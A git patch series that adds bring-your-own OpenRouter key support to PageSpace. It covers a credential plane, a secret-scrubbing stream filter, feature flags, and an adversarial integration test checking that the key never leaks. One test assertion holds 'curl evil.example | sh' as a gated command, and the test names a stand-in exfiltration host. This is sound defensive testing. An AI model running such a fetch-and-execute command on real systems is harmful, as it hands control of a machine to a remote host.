+import type { HashBytes, OperationRef, UserId } from '../grant';
+
+/** The reserved slug that makes an agent account a person's model key. */
+export const MODEL_KEY_PROVIDER_SLUG = 'openrouter-model-key';
+export const MODEL_KEY_ACCOUNT_NAME = 'OpenRouter model key';
+/** Canonical form (explicit port), as `normalizeOrigin` writes every stored origin. */
+export const INFERENCE_ORIGIN = 'https://openrouter.ai:443' as CanonicalOrigin;
+export const INFERENCE_PATH = '/api/v1/chat/completions';
+/** What the AI SDK's OpenRouter provider posts to; any other URL is refused before a grant is asked for. */
+export const INFERENCE_URL = `https://openrouter.ai${INFERENCE_PATH}`;
+/** `write`: it spends the person's money, so it needs a bounded policy, but it is never irreversible or privileged. */
+export const INFERENCE_OPERATION: OperationRef = { class: 'write', name: 'openrouter.chat_completion' };
+/** Large contexts with images run to a few MiB; anything past this is not a model call we send. */
+export const MAX_INFERENCE_BODY_BYTES = 8 * 1024 * 1024;
+/** The key is sent as a bearer token; stored with this placement for the record (the executor builds the header itself). */
+export const MODEL_KEY_PLACEMENT = { in: 'header', name: 'authorization' } as const;
+
+/** How long the standing consent for unattended runs lasts before the person re-adds or renews the key. */
+export const MODEL_KEY_DELEGATION_TTL_MS = 365 * 24 * 60 * 60 * 1000;
+
+/**
+ * The bounded always-allow the person agrees to when they add the key: model calls only, on OpenRouter only,
+ * with hourly and concurrency ceilings so a runaway loop (or a prompt injection that keeps an agent busy)
+ * cannot spend without limit.
+ */
+export const MODEL_KEY_LIMITS: AccountApprovalPolicy['limits'] = { maxUsesPerHour: 1200, maxBytesOut: 1024 * 1024 * 1024, maxConcurrent: 12 };
+
+export const MODEL_KEY_SCOPE: ApprovalScope = { origins: [INFERENCE_ORIGIN], operations: [INFERENCE_OPERATION], resources: [] };
+
+export function modelKeyApprovalPolicy({ approver }: { readonly approver: UserId }): AccountApprovalPolicy {
+ return { scope: MODEL_KEY_SCOPE, trigger: 'irreversible_only', duration: null, limits: MODEL_KEY_LIMITS, approver };
+}
+
+const MODEL_ID_RE = /^[A-Za-z0-9][A-Za-z0-9._:/@+-]{0,199}$/;
+
+export type InferenceRequestRefusal = 'body_too_large' | 'body_not_json' | 'model_invalid';
+export type InferenceRequestVerdict = { readonly ok: true; readonly canonical: CanonicalRequest; readonly model: string } | { readonly ok: false; readonly reason: InferenceRequestRefusal };
+
+/**
+ * Canonicalize one model call from the exact body text that will be sent. Both sides run this over the same
+ * text — the authority to sign, the plane to verify — so a body changed in between is `digest_mismatch`.
+ */
+export function canonicalizeInferenceRequest({ body, sha256 }: { readonly body: string; readonly sha256: HashBytes }): InferenceRequestVerdict {
+ const bytes = new TextEncoder().encode(body);
+ if (bytes.byteLength > MAX_INFERENCE_BODY_BYTES) return { ok: false, reason: 'body_too_large' };
+ let parsed: unknown;
+ try {
+ parsed = JSON.parse(body);
+ } catch {
+ return { ok: false, reason: 'body_not_json' };
+ }
+ if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) return { ok: false, reason: 'body_not_json' };
+ const model = (parsed as { model?: unknown }).model;
+ if (typeof model !== 'string' || !MODEL_ID_RE.test(model)) return { ok: false, reason: 'model_invalid' };
+ return {
+ ok: true,
+ model,
+ canonical: {
+ channel: 'inference-executor',
+ method: 'POST',
+ origin: INFERENCE_ORIGIN,
+ path: INFERENCE_PATH,
+ query: [],
+ headers: [['content-type', 'application/json']],
+ bodySha256: sha256(bytes),
+ resources: [['model', model]],
+ operation: INFERENCE_OPERATION,
+ },
+ };
+}
+
+/** Whether an agent account row is a person's model key. */
+export function isModelKeyAccount(row: { readonly providerSlug: string | null }): boolean {
+ return row.providerSlug === MODEL_KEY_PROVIDER_SLUG;
+}
+
+const MODEL_KEY_RE = /^sk-or-[\x21-\x7e]{16,500}$/;
+
+/** An OpenRouter key as a person pastes it: trimmed, printable, `sk-or-` prefixed. The value never leaves this check except to the plane. */
+export function decideModelKeyInput({ apiKey }: { readonly apiKey: unknown }): { readonly ok: true; readonly apiKey: string } | { readonly ok: false; readonly reason: 'key_invalid' } {
+ if (typeof apiKey !== 'string') return { ok: false, reason: 'key_invalid' };
+ const trimmed = apiKey.trim();
+ return MODEL_KEY_RE.test(trimmed) ? { ok: true, apiKey: trimmed } : { ok: false, reason: 'key_invalid' };
+}
diff --git a/packages/lib/src/agent-accounts/inference/stream-scrubber.ts b/packages/lib/src/agent-accounts/inference/stream-scrubber.ts
new file mode 100644
index 0000000000..24a61a8bfc
--- /dev/null
+++ b/packages/lib/src/agent-accounts/inference/stream-scrubber.ts
@@ -0,0 +1,57 @@
+/**
+ * `createStreamScrubber` — removes known secret values from a byte stream that
+ * arrives in arbitrary chunks (ADR 0009 I4). Pure: no I/O, no clock.
+ *
+ * A value split across two chunks is still caught: after scrubbing, the last
+ * `longest - 1` bytes are held back until the next chunk (or `flush`), so any
+ * occurrence lies wholly inside the text being scrubbed. Matching is byte-exact
+ * (the stream is read as latin1, which maps each byte to one code unit), so a
+ * multi-byte character cut at a chunk boundary is never mangled.
+ */
+export const SCRUBBED = '[redacted]';
+const MIN_SCRUB_LENGTH = 8;
+
+export type StreamScrubber = {
+ readonly push: (chunk: Uint8Array) => Uint8Array;
+ readonly flush: () => Uint8Array;
+ /** Whether any value was removed so far. */
+ readonly redacted: () => boolean;
+};
+
+const toLatin1 = (bytes: Uint8Array) => Buffer.from(bytes.buffer, bytes.byteOffset, bytes.byteLength).toString('latin1');
+const fromLatin1 = (text: string) => new Uint8Array(Buffer.from(text, 'latin1'));
+
+export function createStreamScrubber({ knownValues }: { readonly knownValues: readonly string[] }): StreamScrubber {
+ // Longest first, so a value that contains another is removed whole.
+ const needles = [...new Set(knownValues.filter((value) => value.length >= MIN_SCRUB_LENGTH).map((value) => toLatin1(new TextEncoder().encode(value))))].sort((a, b) => b.length - a.length);
+ const hold = needles.length === 0 ? 0 : needles[0]!.length - 1;
+ let pending = '';
+ let removed = false;
+
+ const scrub = (text: string) => {
+ let out = text;
+ for (const needle of needles) {
+ if (out.includes(needle)) {
+ out = out.split(needle).join(SCRUBBED);
+ removed = true;
+ }
+ }
+ return out;
+ };
+
+ return {
+ push(chunk) {
+ pending = scrub(pending + toLatin1(chunk));
+ if (pending.length <= hold) return new Uint8Array(0);
+ const out = pending.slice(0, pending.length - hold);
+ pending = pending.slice(pending.length - hold);
+ return fromLatin1(out);
+ },
+ flush() {
+ const out = scrub(pending);
+ pending = '';
+ return fromLatin1(out);
+ },
+ redacted: () => removed,
+ };
+}
diff --git a/packages/lib/src/agent-accounts/parse-grant.ts b/packages/lib/src/agent-accounts/parse-grant.ts
index 46c9459d0f..2df606b2b3 100644
--- a/packages/lib/src/agent-accounts/parse-grant.ts
+++ b/packages/lib/src/agent-accounts/parse-grant.ts
@@ -40,7 +40,7 @@ import { ACCOUNT_KIND_VALUES } from '@pagespace/db/schema/agent-accounts';
import { GRANT_ISSUER } from './grant-constants';
import { decideSandboxBinding } from './decide-sandbox-binding';
-const PRESENTER_CHANNELS = ['http-executor', 'relay-runner', 'browser-worker', 'refresh-worker', 'ssh-executor'] as const satisfies readonly PresenterChannel[];
+const PRESENTER_CHANNELS = ['http-executor', 'relay-runner', 'browser-worker', 'refresh-worker', 'ssh-executor', 'inference-executor'] as const satisfies readonly PresenterChannel[];
/** The schema's own list: a kind added there is a kind a grant may name. */
const ACCOUNT_KINDS = ACCOUNT_KIND_VALUES;
const OPERATION_CLASSES = ['read', 'write', 'irreversible', 'privilege', 'unknown'] as const;
diff --git a/packages/lib/src/agent-accounts/plane-client.ts b/packages/lib/src/agent-accounts/plane-client.ts
index 98d05e6a50..2eeab9ef34 100644
--- a/packages/lib/src/agent-accounts/plane-client.ts
+++ b/packages/lib/src/agent-accounts/plane-client.ts
@@ -39,7 +39,7 @@ import type {
PlaneUsageBody,
PlaneUsageResult,
} from './executor/plane-wire';
-import { PLANE_ROUTES } from './executor/plane-wire';
+import { INFERENCE_UPSTREAM_HEADER, INFERENCE_UPSTREAM_STATUS_HEADER, PLANE_ROUTES, type PlaneInferenceRefusal, type PlaneInferenceStreamBody } from './executor/plane-wire';
import { PLANE_SIGNATURE_HEADER, signPlaneRequest } from './executor/plane-request-signature';
import { classifyPlaneCallFailure, type PlaneCallFailure, type PlaneRoute } from './classify-plane-call-failure';
@@ -64,8 +64,17 @@ export type PlaneClient = {
readonly sshEnroll: (body: PlaneSshEnrollBody) => Promise;
readonly sshExec: (body: PlaneSshExecBody) => Promise;
readonly execute: (body: PlaneExecuteBody) => Promise;
+ /**
+ * One model call on a person's own model key (ADR 0009). On success the Response IS OpenRouter's answer —
+ * its status and content type, the body streamed through the plane with the key scrubbed. A refusal or a
+ * plane that could not be reached is a typed reason, never a Response.
+ */
+ readonly inferStream: (body: PlaneInferenceStreamBody, options?: { readonly signal?: AbortSignal }) => Promise<{ readonly ok: true; readonly response: Response } | PlaneInferenceRefusal | PlaneUnavailable | { readonly ok: false; readonly reason: 'outcome_unknown' | 'refused' }>;
};
+/** A streamed model call may run for the executor's whole 10 minutes. */
+const INFERENCE_TIMEOUT_MS = 11 * 60_000;
+
const hmac = (key: string, text: string) => createHmac('sha256', key).update(text).digest('hex');
const sha256 = (bytes: Uint8Array) => createHash('sha256').update(bytes).digest('hex');
@@ -109,7 +118,37 @@ export function createPlaneClient({
}
}
+ async function inferStream(body: PlaneInferenceStreamBody, options: { readonly signal?: AbortSignal } = {}) {
+ const path = PLANE_ROUTES.inferenceStream;
+ const bytes = new TextEncoder().encode(JSON.stringify(body));
+ const header = signPlaneRequest({ method: 'POST', path, body: bytes, secret, now: now(), hmac, sha256 });
+ const signals = [AbortSignal.timeout(INFERENCE_TIMEOUT_MS), ...(options.signal ? [options.signal] : [])];
+ try {
+ const response = await fetchImpl(`${baseUrl.replace(/\/$/, '')}${path}`, {
+ method: 'POST',
+ headers: { 'content-type': 'application/json', [PLANE_SIGNATURE_HEADER]: header },
+ body: bytes,
+ signal: AbortSignal.any(signals),
+ });
+ if (response.status !== 200) return failed('inferenceStream', { kind: 'status', status: response.status });
+ if (response.headers.get(INFERENCE_UPSTREAM_HEADER) !== 'upstream') return (await response.json()) as PlaneInferenceRefusal;
+ const upstreamStatus = Number(response.headers.get(INFERENCE_UPSTREAM_STATUS_HEADER));
+ return {
+ ok: true as const,
+ response: new Response(response.body, {
+ status: Number.isInteger(upstreamStatus) && upstreamStatus >= 200 && upstreamStatus <= 599 ? upstreamStatus : 502,
+ headers: { 'content-type': response.headers.get('content-type') ?? 'application/octet-stream' },
+ }),
+ };
+ } catch (error) {
+ if (error instanceof Error && (error.name === 'TimeoutError' || error.name === 'AbortError')) return failed('inferenceStream', { kind: 'timeout' });
+ const code = (error as { cause?: { code?: unknown } }).cause?.code ?? (error as { code?: unknown }).code;
+ return failed('inferenceStream', { kind: 'network', code: typeof code === 'string' ? code : null });
+ }
+ }
+
return {
+ inferStream,
put: (body) => call('put', PLANE_ROUTES.put, body) as Promise,
revoke: (body) => call('revoke', PLANE_ROUTES.revoke, body) as Promise,
delete: (body) => call('delete', PLANE_ROUTES.delete, body) as Promise,
diff --git a/packages/lib/src/agent-accounts/store/decide-resolve-caller.ts b/packages/lib/src/agent-accounts/store/decide-resolve-caller.ts
index 65166d5d67..21d49767b7 100644
--- a/packages/lib/src/agent-accounts/store/decide-resolve-caller.ts
+++ b/packages/lib/src/agent-accounts/store/decide-resolve-caller.ts
@@ -34,6 +34,9 @@ export const decideResolveCaller: DecideResolveCaller = ({ aud, kind, sessionHtt
return kind === 'api_key' || kind === 'bearer' || kind === 'oauth2' ? ALLOW : DENY;
case 'relay-runner':
return kind === 'api_key' || kind === 'bearer' || kind === 'oauth2' ? ALLOW : DENY;
+ case 'inference-executor':
+ // A person's model key (ADR 0009) is an api_key; the inference executor reads nothing else.
+ return kind === 'api_key' ? ALLOW : DENY;
case 'ssh-executor':
// An SSH key is the SSH executor's alone, and that is all it may read.
return kind === 'ssh_key' ? ALLOW : DENY;
diff --git a/packages/lib/src/agent-accounts/store/store-adapter.ts b/packages/lib/src/agent-accounts/store/store-adapter.ts
index 809c63028b..008e4e3bf1 100644
--- a/packages/lib/src/agent-accounts/store/store-adapter.ts
+++ b/packages/lib/src/agent-accounts/store/store-adapter.ts
@@ -159,6 +159,7 @@ export type ResolvableBy = {
readonly 'browser-worker': 'session' | 'password';
readonly 'refresh-worker': 'oauth2';
readonly 'ssh-executor': 'ssh_key';
+ readonly 'inference-executor': 'api_key';
}[C];
/** `oauth2` as ordinary executors see it: the access token only, never the refresh token. */
diff --git a/packages/lib/src/agent-accounts/verify-grant.ts b/packages/lib/src/agent-accounts/verify-grant.ts
index 308cf456a5..22ea806ade 100644
--- a/packages/lib/src/agent-accounts/verify-grant.ts
+++ b/packages/lib/src/agent-accounts/verify-grant.ts
@@ -64,6 +64,8 @@ const RESOLVABLE: Readonly {
+ it('given no default row and no override, should be off', () => {
+ expect(decideFeatureFlag(base)).toBe(false);
+ });
+
+ it('given a per-user override, should win over the default either way', () => {
+ const actual = [
+ decideFeatureFlag({ ...base, enabledByDefault: false, userOverride: true }),
+ decideFeatureFlag({ ...base, enabledByDefault: true, userOverride: false }),
+ ];
+ expect(actual).toEqual([true, false]);
+ });
+
+ it('given only a default, should follow it', () => {
+ expect([decideFeatureFlag({ ...base, enabledByDefault: true }), decideFeatureFlag({ ...base, enabledByDefault: false })]).toEqual([true, false]);
+ });
+
+ it('given on-prem, should keep a flag that reaches an external service off even when an admin enabled it', () => {
+ expect(decideFeatureFlag({ ...base, deploymentMode: 'onprem', enabledByDefault: true, userOverride: true })).toBe(false);
+ });
+
+ it('given tenant mode, should follow the rows like cloud', () => {
+ expect(decideFeatureFlag({ ...base, deploymentMode: 'tenant', userOverride: true })).toBe(true);
+ });
+});
+
+describe('isFeatureFlagKey', () => {
+ it('given a key code does not define, should refuse it', () => {
+ expect([isFeatureFlagKey('byok_model_key'), isFeatureFlagKey('nope'), isFeatureFlagKey(1)]).toEqual([true, false, false]);
+ });
+});
diff --git a/packages/lib/src/feature-flags/decide-feature-flag.ts b/packages/lib/src/feature-flags/decide-feature-flag.ts
new file mode 100644
index 0000000000..4c5a86fdc3
--- /dev/null
+++ b/packages/lib/src/feature-flags/decide-feature-flag.ts
@@ -0,0 +1,25 @@
+/**
+ * `decideFeatureFlag` — whether one flag is on for one person. Pure.
+ *
+ * On-prem first (a flag whose feature reaches an external service is off there,
+ * whatever any row says), then the person's own override, then the flag's default,
+ * then off: a flag nobody has set is never on.
+ */
+import type { DeploymentMode } from '../deployment-mode';
+import type { FeatureFlagKey } from './flags';
+import { FEATURE_FLAGS } from './flags';
+
+export type FeatureFlagFacts = {
+ readonly flag: FeatureFlagKey;
+ readonly deploymentMode: DeploymentMode;
+ /** The flag's row default; null when no row exists. */
+ readonly enabledByDefault: boolean | null;
+ /** This person's override; null when none. */
+ readonly userOverride: boolean | null;
+};
+
+export function decideFeatureFlag({ flag, deploymentMode, enabledByDefault, userOverride }: FeatureFlagFacts): boolean {
+ if (deploymentMode === 'onprem' && !FEATURE_FLAGS[flag].availableOnPrem) return false;
+ if (userOverride !== null) return userOverride;
+ return enabledByDefault ?? false;
+}
diff --git a/packages/lib/src/feature-flags/feature-flag-repository.ts b/packages/lib/src/feature-flags/feature-flag-repository.ts
new file mode 100644
index 0000000000..a357edc052
--- /dev/null
+++ b/packages/lib/src/feature-flags/feature-flag-repository.ts
@@ -0,0 +1,91 @@
+/**
+ * Feature-flag storage. I/O only: `decideFeatureFlag` decides; this file reads and
+ * writes the two rows it decides from.
+ */
+import { db as defaultDb } from '@pagespace/db/db';
+import { and, eq } from '@pagespace/db/operators';
+import { featureFlags, featureFlagUserOverrides } from '@pagespace/db/schema/feature-flags';
+import { getDeploymentMode, type DeploymentMode } from '../deployment-mode';
+import type { FeatureFlagKey } from './flags';
+import { FEATURE_FLAG_KEYS } from './flags';
+import { decideFeatureFlag } from './decide-feature-flag';
+
+export type FeatureFlagDatabase = Pick;
+
+export type FeatureFlagState = { readonly key: FeatureFlagKey; readonly enabledByDefault: boolean; readonly updatedAt: Date | null; readonly userOverrideCount: number };
+export type FeatureFlagOverride = { readonly userId: string; readonly enabled: boolean; readonly updatedAt: Date; readonly updatedBy: string | null };
+
+export type FeatureFlagRepository = {
+ readonly isEnabled: (input: { readonly flag: FeatureFlagKey; readonly userId: string }) => Promise;
+ readonly list: () => Promise;
+ readonly setDefault: (input: { readonly flag: FeatureFlagKey; readonly enabled: boolean; readonly adminUserId: string }) => Promise;
+ readonly listOverrides: (flag: FeatureFlagKey) => Promise;
+ readonly setOverride: (input: { readonly flag: FeatureFlagKey; readonly userId: string; readonly enabled: boolean; readonly adminUserId: string }) => Promise;
+ readonly removeOverride: (input: { readonly flag: FeatureFlagKey; readonly userId: string }) => Promise;
+};
+
+export function createFeatureFlagRepository({ db = defaultDb, deploymentMode = getDeploymentMode }: { readonly db?: FeatureFlagDatabase; readonly deploymentMode?: () => DeploymentMode } = {}): FeatureFlagRepository {
+ return {
+ async isEnabled({ flag, userId }) {
+ const [flagRows, overrideRows] = await Promise.all([
+ db.select({ enabledByDefault: featureFlags.enabledByDefault }).from(featureFlags).where(eq(featureFlags.key, flag)).limit(1),
+ db
+ .select({ enabled: featureFlagUserOverrides.enabled })
+ .from(featureFlagUserOverrides)
+ .where(and(eq(featureFlagUserOverrides.flagKey, flag), eq(featureFlagUserOverrides.userId, userId)))
+ .limit(1),
+ ]);
+ return decideFeatureFlag({ flag, deploymentMode: deploymentMode(), enabledByDefault: flagRows[0]?.enabledByDefault ?? null, userOverride: overrideRows[0]?.enabled ?? null });
+ },
+
+ async list() {
+ const [rows, overrides] = await Promise.all([
+ db.select().from(featureFlags),
+ db.select({ flagKey: featureFlagUserOverrides.flagKey }).from(featureFlagUserOverrides),
+ ]);
+ return FEATURE_FLAG_KEYS.map((key) => {
+ const row = rows.find((candidate) => candidate.key === key);
+ return { key, enabledByDefault: row?.enabledByDefault ?? false, updatedAt: row?.updatedAt ?? null, userOverrideCount: overrides.filter((override) => override.flagKey === key).length };
+ });
+ },
+
+ async setDefault({ flag, enabled, adminUserId }) {
+ const now = new Date();
+ await db
+ .insert(featureFlags)
+ .values({ key: flag, enabledByDefault: enabled, updatedAt: now, updatedBy: adminUserId })
+ .onConflictDoUpdate({ target: featureFlags.key, set: { enabledByDefault: enabled, updatedAt: now, updatedBy: adminUserId } });
+ },
+
+ async listOverrides(flag) {
+ return db
+ .select({ userId: featureFlagUserOverrides.userId, enabled: featureFlagUserOverrides.enabled, updatedAt: featureFlagUserOverrides.updatedAt, updatedBy: featureFlagUserOverrides.updatedBy })
+ .from(featureFlagUserOverrides)
+ .where(eq(featureFlagUserOverrides.flagKey, flag));
+ },
+
+ async setOverride({ flag, userId, enabled, adminUserId }) {
+ const now = new Date();
+ await db
+ .insert(featureFlagUserOverrides)
+ .values({ flagKey: flag, userId, enabled, updatedAt: now, updatedBy: adminUserId })
+ .onConflictDoUpdate({ target: [featureFlagUserOverrides.flagKey, featureFlagUserOverrides.userId], set: { enabled, updatedAt: now, updatedBy: adminUserId } });
+ },
+
+ async removeOverride({ flag, userId }) {
+ const removed = await db
+ .delete(featureFlagUserOverrides)
+ .where(and(eq(featureFlagUserOverrides.flagKey, flag), eq(featureFlagUserOverrides.userId, userId)))
+ .returning({ userId: featureFlagUserOverrides.userId });
+ return removed.length > 0;
+ },
+ };
+}
+
+let shared: FeatureFlagRepository | null = null;
+
+/** Whether `flag` is on for `userId` right now (no cache: an admin's change applies to the next call). */
+export function isFeatureEnabled(flag: FeatureFlagKey, userId: string): Promise {
+ shared ??= createFeatureFlagRepository();
+ return shared.isEnabled({ flag, userId });
+}
diff --git a/packages/lib/src/feature-flags/flags.ts b/packages/lib/src/feature-flags/flags.ts
new file mode 100644
index 0000000000..665b7a5255
--- /dev/null
+++ b/packages/lib/src/feature-flags/flags.ts
@@ -0,0 +1,26 @@
+/**
+ * The feature flags PageSpace knows. A key not listed here is never read from the
+ * database and never offered in Admin: the code decides what a flag can switch.
+ */
+export const FEATURE_FLAG_KEYS = ['byok_model_key'] as const;
+export type FeatureFlagKey = (typeof FEATURE_FLAG_KEYS)[number];
+
+export type FeatureFlagDefinition = {
+ readonly label: string;
+ readonly description: string;
+ /** false = the flag is off on-prem whatever an admin sets (the feature reaches an external service). */
+ readonly availableOnPrem: boolean;
+};
+
+export const FEATURE_FLAGS: Readonly> = {
+ byok_model_key: {
+ label: 'Bring your own OpenRouter key',
+ description:
+ "Lets a person add their own OpenRouter API key in Settings → AI. Their own model calls then run on their key through the credential plane (PageSpace never holds it) and are not charged PageSpace credits. Calls an org pays for always use PageSpace's key.",
+ availableOnPrem: false,
+ },
+};
+
+export function isFeatureFlagKey(value: unknown): value is FeatureFlagKey {
+ return typeof value === 'string' && (FEATURE_FLAG_KEYS as readonly string[]).includes(value);
+}
From 0587b59f4282b3e0dcbeca4fd9f37eb501e7264b Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 19:41:18 -0600
Subject: [PATCH 03/35] test(agent-accounts): inference executor through the
real grant chain, and end to end on the plane (BYOK-8)
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
...tp-executor-end-to-end.integration.test.ts | 87 ++++++-
.../__tests__/inference-executor.test.ts | 228 ++++++++++++++++++
.../executor/inference-executor.ts | 4 +-
.../__tests__/authorize-inference.test.ts | 3 +-
4 files changed, 316 insertions(+), 6 deletions(-)
create mode 100644 packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts
diff --git a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts
index a821c021a4..7afd4ee35d 100644
--- a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts
+++ b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts
@@ -35,6 +35,8 @@ import { AGENT_ACCOUNT_OPERATIONS, GOOGLE_ORIGINS } from '../../registry/google-
import { Server as SshServer, utils as sshUtils, type AuthContext, type Connection as SshConnection } from 'ssh2';
import { createSshClient, generateSshKeyPair } from '../../executor/ssh-client';
import { createSshCommandExecutor } from '../../executor/ssh-command-executor';
+import { createInferenceExecutor } from '../../executor/inference-executor';
+import { createPinnedHttpsStreamClient } from '../../executor/pinned-https-stream';
import { eq, sql } from '@pagespace/db/operators';
import { users } from '@pagespace/db/schema/auth';
import { drives, pages } from '@pagespace/db/schema/core';
@@ -80,6 +82,9 @@ const HOST = 'api.e2e-weather.example';
/** A second name on the same test certificate, so a request there would succeed if nothing refused it. */
const EVIL_HOST = 'collector.e2e-evil.example';
const RUN = `g2e2e${Date.now()}`;
+/** A person's own OpenRouter key (ADR 0009): the inference executor's canary. */
+const MODEL_KEY = `sk-or-v1-${randomBytes(20).toString('hex')}`;
+const inferenceBodies: string[] = [];
// Real PageSpace ids are cuid2; the centralized permission functions refuse anything else.
const OWNER = createId() as UserId;
const VIEWER = createId() as UserId;
@@ -123,7 +128,7 @@ function openssl(args: readonly string[]) {
}
function startUpstream(): Promise {
- writeFileSync(path.join(certDir, 'leaf.ext'), `subjectAltName=DNS:${HOST},DNS:${EVIL_HOST}\n`);
+ writeFileSync(path.join(certDir, 'leaf.ext'), `subjectAltName=DNS:${HOST},DNS:${EVIL_HOST},DNS:openrouter.ai\n`);
openssl(['req', '-x509', '-newkey', 'rsa:2048', '-nodes', '-keyout', 'ca.key', '-subj', '/CN=g2-e2e-ca', '-days', '1', '-out', 'ca.pem']);
openssl(['req', '-newkey', 'rsa:2048', '-nodes', '-keyout', 'leaf.key', '-subj', `/CN=${HOST}`, '-out', 'leaf.csr']);
openssl(['x509', '-req', '-in', 'leaf.csr', '-CA', 'ca.pem', '-CAkey', 'ca.key', '-CAcreateserial', '-days', '1', '-extfile', 'leaf.ext', '-out', 'leaf.pem']);
@@ -155,6 +160,25 @@ function startUpstream(): Promise {
});
return;
}
+ if (req.url === '/api/v1/chat/completions' && req.method === 'POST') {
+ // OpenRouter, as the inference executor reaches it: the person's key as a bearer token, and a stream that echoes it.
+ if (req.headers.authorization !== `Bearer ${MODEL_KEY}`) {
+ res.writeHead(401, { 'content-type': 'application/json' });
+ return res.end('{"error":{"message":"No auth credentials found","code":401}}');
+ }
+ const chunks: Buffer[] = [];
+ req.on('data', (chunk: Buffer) => chunks.push(chunk));
+ req.on('end', () => {
+ inferenceBodies.push(Buffer.concat(chunks).toString('utf8'));
+ res.writeHead(200, { 'content-type': 'text/event-stream', 'set-cookie': `k=${MODEL_KEY}` });
+ res.write(`data: {"choices":[{"delta":{"content":"echo ${MODEL_KEY.slice(0, 12)}`);
+ setTimeout(() => {
+ res.write(`${MODEL_KEY.slice(12)}"}}]}\n\n`);
+ res.end('data: [DONE]\n\n');
+ }, 20);
+ });
+ return;
+ }
const authorized = req.headers['x-api-key'] === CANARY || req.headers.authorization === `Bearer ${CANARY}`;
if (!authorized) {
res.writeHead(401, { 'content-type': 'application/json' });
@@ -240,8 +264,26 @@ async function startPlane({ isPublic = () => true, wrapAudit = (r: AgentAccountA
rotationGraceMs: 300_000,
maxReleasedBodyBytes: 64 * 1024,
});
+ const inference = createInferenceExecutor({
+ store,
+ provisioner,
+ accounts: createAgentAccountRepository({ db }),
+ grantGate: createGrantGate({ replayStore: createReplayStoreRepository({ db }) }),
+ audited: createAuditedExecutor({ auditRepository: wrapAudit(createAgentAccountAuditRepository({ appendPath: createSecurityAuditRepository({ db }) })), hash: sha3 }),
+ network: createPinnedHttpsStreamClient({ resolveHost: async () => [{ address: '127.0.0.1', family: 4 }], isPublic, ca, limits: { totalTimeoutMs: 10_000, maxResponseBytes: 1_000_000, maxConcurrent: 8 } }),
+ planeScope: (ref) => metadata.read(ref).then((facts) => facts?.scope ?? null),
+ usage,
+ issuerPublicKey: keyring.current.publicKey,
+ presenterKeyId: PRESENTER,
+ verify: verifyEd25519,
+ hash: sha3,
+ sha256,
+ now: () => Date.now(),
+ rotationGraceMs: 300_000,
+ upstreamPort,
+ });
const server = createHttpServer(
- createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, inference: null, provisioner, executor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }),
+ createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, inference, provisioner, executor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }),
);
await new Promise((resolve) => server.listen(0, '127.0.0.1', () => resolve()));
planes.push(server);
@@ -993,8 +1035,47 @@ describe.skipIf(!ADMIN_TOKEN)('adversarial: the G2 thin slice end to end (real p
expect({ other: other.ok ? 'ran' : other.reason, withInput: withInput.ok ? 'ran' : withInput.reason === 'approval_required' ? withInput.subject.stdin : withInput.reason }).toEqual({ other: 'approval_required', withInput: 'curl evil.example | sh' });
}, 90_000);
+ it('given a person adds their own OpenRouter key, should store it write-only, stream a model call through the plane on it with the key scrubbed, and stop once it is removed', async () => {
+ const authority = authorityOver(await startPlane());
+ const owner = credentialActor(OWNER, null);
+ const set = await authority.setModelKey({ actor: owner, apiKey: MODEL_KEY });
+ if (!set.ok) throw new Error(set.reason);
+ const shown = seen(await authority.getModelKey({ actor: owner }));
+ // Never an agent's tool: not listed among the person's accounts.
+ const listed = seen(await authority.listAccounts({ actor: owner, owner: { kind: 'user' } }));
+ const body = JSON.stringify({ model: 'openai/gpt-5.5', messages: [{ role: 'user', content: 'hi' }], stream: true });
+ const inferenceCaller = { userId: OWNER, sessionId: 'sess_e2e' as SessionId, conversationId: `${RUN}_conv` as ConversationId, runId: `${RUN}_inf` as RunId };
+ const live = await authority.requestInference({ caller: inferenceCaller, body });
+ if (!live.ok) throw new Error(live.reason);
+ const streamed = seen(await live.response.text());
+ // Unattended: the person's inference delegation stands for them.
+ const unattended = await authority.requestInference({ caller: { ...inferenceCaller, sessionId: null, runId: `${RUN}_inf2` as RunId }, body });
+ const unattendedText = unattended.ok ? seen(await unattended.response.text()) : unattended.reason;
+ await authority.removeModelKey({ actor: owner });
+ const afterRemove = await authority.requestInference({ caller: { ...inferenceCaller, runId: `${RUN}_inf3` as RunId }, body });
+ expect({
+ shown: shown?.providerSlug,
+ listed: (listed ?? []).some((account) => account.providerSlug === 'openrouter-model-key'),
+ status: live.response.status,
+ streamed,
+ bodySent: inferenceBodies.includes(body),
+ unattended: typeof unattendedText === 'string' && unattendedText.includes('[redacted]'),
+ afterRemove: afterRemove.ok ? 'streamed' : afterRemove.reason,
+ leaks: [streamed, unattendedText].filter((text) => typeof text === 'string' && text.includes(MODEL_KEY)).length,
+ }).toEqual({
+ shown: 'openrouter-model-key',
+ listed: false,
+ status: 200,
+ streamed: 'data: {"choices":[{"delta":{"content":"echo [redacted]"}}]}\n\ndata: [DONE]\n\n',
+ bodySent: true,
+ unattended: true,
+ afterRemove: 'no_model_key',
+ leaks: 0,
+ });
+ }, 90_000);
+
it('given every model-visible value this slice produced above, should never contain the canary key', () => {
- const actual = { surfaces: modelVisible.length > 10, leaks: modelVisible.filter((text) => text.includes(CANARY)).length };
+ const actual = { surfaces: modelVisible.length > 10, leaks: modelVisible.filter((text) => text.includes(CANARY) || text.includes(MODEL_KEY)).length };
const expected = { surfaces: true, leaks: 0 };
expect(actual).toEqual(expected);
});
